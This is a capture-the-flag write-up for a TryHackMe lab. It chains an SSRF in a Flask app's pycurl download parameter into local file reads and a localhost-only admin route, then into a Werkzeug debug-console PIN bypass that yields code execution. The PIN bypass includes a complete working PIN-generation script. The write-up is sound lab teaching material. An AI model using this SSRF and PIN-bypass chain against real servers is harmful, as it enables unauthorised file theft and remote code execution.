Plant Photographer Writeup - TryHackMe
Discovery
Two open ports. The HTTP server identifies itself as Werkzeug — a Python/Flask development server, not a production stack.
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Werkzeug httpd 0.16.0 (Python 3.10.7) |_http-server-header: Werkzeug/0.16.0 Python/3.10.7 |_http-title: Jay Green Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Directory brute-force finds four interesting paths immediately:
/ [Status: 200, Size: 6899] /download [Status: 200, Size: 20] /admin [Status: 200, Size: 48] /console [Status: 200, Size: 1985]
Four paths, each worth examining:
/admin returns Admin interface only available from localhost!!! — a localhost restriction enforced server-side.
/console is a Werkzeug interactive Python console — PIN protected.
/download accepts server and id parameters. The homepage links to a sample download URL:
http://$TARGET_IP/download?server=secure-file-storage.com:8087&id=75482342
The server parameter gets passed directly to pycurl. That's the attack surface.
Vulnerability Discovery
SSRF via the server parameter
Pointing server at a controlled host confirms outbound requests originate from the target and include a hardcoded API key header:
HTTP receiver output:
The URL construction in the source is: server + '/public-docs-k057230990384293/' + filename. Appending a ? to the server value truncates the path suffix, turning the request into a clean fetch of any target URL.
File read via file:// scheme
pycurl supports the file:// scheme. Adding %3f (URL-encoded ?) after the path drops the appended suffix:
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin ... nobody:x:65534:65534:nobody:/:/sbin/nologin
/bin/ash as root's shell and Alpine-style entries confirm the app runs inside a Docker container. /etc/shadow exists but all passwords are locked (! or *) — no hashes to crack.
Read the running process to locate the app source:
/usr/local/bin/python /usr/src/app/app.py
Pull the full source:
@app.route("/admin")
def admin():
if request.remote_addr == '127.0.0.1':
return send_from_directory('private-docs', 'flag.pdf')
return "Admin interface only available from localhost!!!"
@app.route("/download")
def download():
...
crl.setopt(crl.URL, server + '/public-docs-k057230990384293/' + filename)
crl.setopt(crl.HTTPHEADER, ['X-API-KEY: THM{...}'])
crl.perform()
Two things confirmed: the /admin route returns flag.pdf only when the request originates from 127.0.0.1, and the app runs on port 8087. The SSRF can loop back to itself.
Initial Access
Flag 2 — SSRF to localhost admin
The ? trick causes pycurl to treat everything after server as the full URL. Pointing server at the local admin endpoint makes the request originate from 127.0.0.1:
The server fulfils the localhost check and returns the PDF. Flag 2 is inside flag.pdf.
Werkzeug console PIN bypass
The /console endpoint is Werkzeug's interactive debugger. It requires a PIN, but that PIN is deterministic — derived from values that are readable through the file read SSRF.
The PIN generation uses these inputs:
Public bits (fixed for Flask):
Username running the process
Module name:
flask.appApp name:
FlaskApp file path from the earlier error:
/usr/local/lib/python3.10/site-packages/flask/app.py
Private bits (collected via SSRF):
Username from process environment:
Returns root.
IP address HW type Flags HW address Mask Device 172.20.0.1 0x1 0x2 02:42:43:d4:5c:fa * eth0
The interface is eth0. Read its MAC address directly:
02:42:ac:14:00:02
2485378088962
Machine ID — Werkzeug uses the cgroup container ID for Docker environments:
12:pids:/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca ... 0::/docker/77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca
The container ID is 77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca.
Generate the PIN:
import hashlib
from itertools import chain
public_bits = [
'root',
'flask.app',
'Flask',
'/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [
'2485378088962',
'77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'
]
h = hashlib.md5()
for bit in chain(public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
print(rv)
Enter the generated PIN at /console. The Werkzeug REPL opens.
Flag 3 — RCE via Werkzeug console
List the app directory from the interactive Python console:
-rw-r--r-- 1 root root 26 May 19 2025 flag-$SECRET.txt drwxr-xr-x 2 root root 4096 Sep 15 2022 private-docs/ drwxr-xr-x 2 root root 4096 May 19 2025 public-docs/
The flag file name is randomised. Read it via the SSRF file read:
References
-
PyJWT SSRF-adjacent Werkzeug PIN generation research context
-
werkzeug.palletsprojects.comwerkzeug.palletsprojects.com/en/2.3.x/debug (opens in new tab)
Werkzeug debugger PIN documentation
-
book.hacktricks.wikibook.hacktricks.wiki/en/network-services-pentesting/pentesting-web/werkzeug.html (opens in new tab)
HackTricks: Werkzeug console PIN bypass
-
portswigger.netportswigger.net/web-security/ssrf (opens in new tab)
PortSwigger: Server-Side Request Forgery